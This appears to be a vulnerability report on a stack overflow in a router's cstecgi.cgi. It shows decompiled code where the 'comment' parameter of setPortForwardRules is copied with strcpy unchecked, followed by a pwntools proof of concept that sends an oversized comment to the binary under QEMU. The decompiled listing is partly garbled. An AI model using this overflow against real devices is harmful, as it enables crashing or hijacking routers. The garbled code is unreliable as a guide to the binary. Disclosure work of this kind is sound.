

FUN_00418c24 (at address 0x418c24) gets the JSON parameter comment, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
C Decompile: FUN_00418c24 - (cstecgi_not_test.cgi)
18
     pcVar1 = (char *)websGetVar(param_1, "addEffect", "0");
19
    iVar2 = atoi(pcVar1);
20
    pcVar1 = (char *)websGetVar(param_1,"enable","0");
21
    local_68 = atoi(pcVar1);
22
    pcVar1 = (char *)websGetVar(param_1,"ipAddress","");
     __nptr = (char *)websGetVar(param_1,"wanfromPort","");
23
     __nptr_00 = (char *)websGetVar(param_1, "fromPort", "");
24
       <u>s1 = (char *)websGetVar(param_1,"protocol","");</u>
25
    __src = (char *)websGetVar(param_1,"comment",
26
27
     memset(&iStack100,0,0x41);
28
     if (iVar2 == 0) {
29
       inet_aton(pcVar1,&iStack100);
30
       iVar2 = atoi(__nptr_00);
31
       local_60 = (short)iVar2;
       iVar2 = atoi(__nptr);
32
       local_5e = (short)iVar2;
33
34
       iVar2 = strcmp(__s1,"TCP");
35
       if (iVar2 == 0) {
36
         local_58 = 1;
37
       }
38
       else {
39
         iVar2 = strcmp(__s1,"UDP");
40
         if (iVar2 == 0) {
           local_58 = 2;
41
42
         }
43
         else {
44
           iVar2 = strcmp(__s1,"TCP&UDP");
45
           if (iVar2 == 0) {
46
             local_58 = 3;
47
48
         }
49
       strcpy(acStack56, src);
```

POC

```
from pwn import *
import json
data = {
    "topicurl": "setting/setPortForwardRules",
    "addEffect": "0",
    "comment": "A"*0x200,
}
data = json.dumps(data)
print(data)
argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
```

```
"./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```